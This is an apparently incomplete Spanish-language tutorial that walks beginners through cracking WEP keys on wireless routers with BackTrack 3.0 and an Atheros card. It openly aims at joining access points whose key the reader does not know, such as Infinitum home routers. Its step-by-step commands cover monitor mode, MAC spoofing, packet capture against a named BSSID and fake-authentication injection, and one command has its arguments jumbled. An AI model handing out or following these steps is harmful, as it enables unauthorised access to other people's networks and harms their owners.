Barc track

Cracking WEP con Backtrack 3.0 para Tarjetas Atheros AR5007

TUTORIAL PARA DESCIFRAR WEP CON BACKTRACK 3.0 PARA TARJETAS ATHEROS AR5007
En este tutorial explicaré como descifrar o crackear claves WEP de 64 y 128 bits paso a paso en muchos puntos de acceso WIFI y routers utilizando Backtrack 3.0, una distribución live de Linux. El principal objetivo de este tutorial es que queremos conectarnosa un punto de acceso que utiliza la encriptación WEP (generalmente Infinitum en México), pero no sabemos la clave. Vamos a atacar el router WIFI generando o capturando paquetes para así poder obtener la clave WEP. Este tutorial también es aplicable a muchas otras tarjetas wireless, pero me he dado a la tarea de escribirlo para la Atheros AR5007 (el cual deberá funcionar en los otros modelos), yaque algunas tarjetas de equipos nuevos son difíciles de levantar con otras distribuciones live (algunos pensarían que imposible), pues bien aquí les presento la solución paso a paso, principalmente pensado para principiantes en el mundo del Hacking.

Requisitos:
• CD Backtrack 3.0 • Tarjeta Wireless Atheros AR5007 (en este caso) o alguno que sea compatible con el estándar 802.11.

Preparaciónde la tarjeta Wifi
Paso 1. En primer lugar se debe de habilitar el “modo monitor” en la tarjeta wireless. Pero primeramente verificaremos si el sistema ha reconocido nuestra tarjeta wireless, para ello abriremos una Shell (ventana de comandos) y teclearemos el siguiente comando: iwconfig

By:

Reyes (reyes_g2505@hotmail.com)

Cracking WEP con Backtrack 3.0 para Tarjetas Atheros AR5007Deberá de aparecer algo similar a lo que a continuación se aprecia:

Y tomaremos nota de nuestro adaptador wireless, principalmente del nombre de la interfaz. Paso 2. Procederemos a detener nuestra interfaz, tecleamos lo siguiente: En general(sintaxis estándar para otras tarjetas). Airmon-ng stop [device] Para nuestro caso (usuarios con atheros): airmon-ng stop ath0

Paso 3. Tecleamos estecomando para poder hacer el cambio de la dirección MAC: ifconfig [interface] down Para Atheros: ifconfig wifi0 down

Paso 4. Cambiamos la dirección MAC, tecleamos lo siguiente: macchanger –m 00:11:22:33:44:66 [device]
By: Reyes (reyes_g2505@hotmail.com)

Cracking WEP con Backtrack 3.0 para Tarjetas Atheros AR5007

Para Atheros: macchanger –m 00:11:22:33:44:66 wifi0

Paso 5. En el siguientepaso al iniciar nuestra tarjeta se habilitará en modo monitor, tecleamos: airmon-ng start [device] Para Atheros: airmon-ng start wifi0

Atacar el objetivo
Paso 6. Ahora buscaremos una red con seguridad WEP habilitada, para ello abriremos otra Shell (sin cerrar las anteriores) y teclearemos lo siguiente: airodump-ng [device] Para Atheros: airodump-ng ath0

Y desplegará lo siguiente:

By:Reyes (reyes_g2505@hotmail.com)

Cracking WEP con Backtrack 3.0 para Tarjetas Atheros AR5007

En este caso el objetivo es la red infinitum. Asegurese de tomar notade la dirección MAC(BSSID), el canal(CH) y el nombre de la red(ESSID). Paso 7. Ahora tenemos que recoger datos de los puntos de accesos WIFI para el ataque, Abriremos otra Shell y teclearemos lo siguiente:
airodump-ng –c [channel]-w [filename] –bssid [bssid] [device]

Para Atheros: airodump-ng –c 8 –w paquetes –bssid 00:1F:B3:EC:09:F9 ath0

Este comando es la salida de datos recogido en un fichero que en nuestro caso es paquetes. Este archivo se genera y alimenta en el programa de WEP, con él descifraremos la clave WEP. Paso 8. Abriremos otra Shell y dejaremos el anterior en funcionamiento (de igual forma las anterioresy posteriores Shell). Ahora tenemos que generar algunos falsos paquetes al punto de acceso para acelerar la salida de datos y poder asociarnos a la red objetivo. Para esto introduciremos el siguiente comando:
aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:66 -e [essid] [device]

Para Atheros: aireplay-ng -1 0 –a INFINITUM7508 ath0 00:1F:B3:EC:09:F9 –h 00:11:22:33:44:66 –e

By:

Reyes...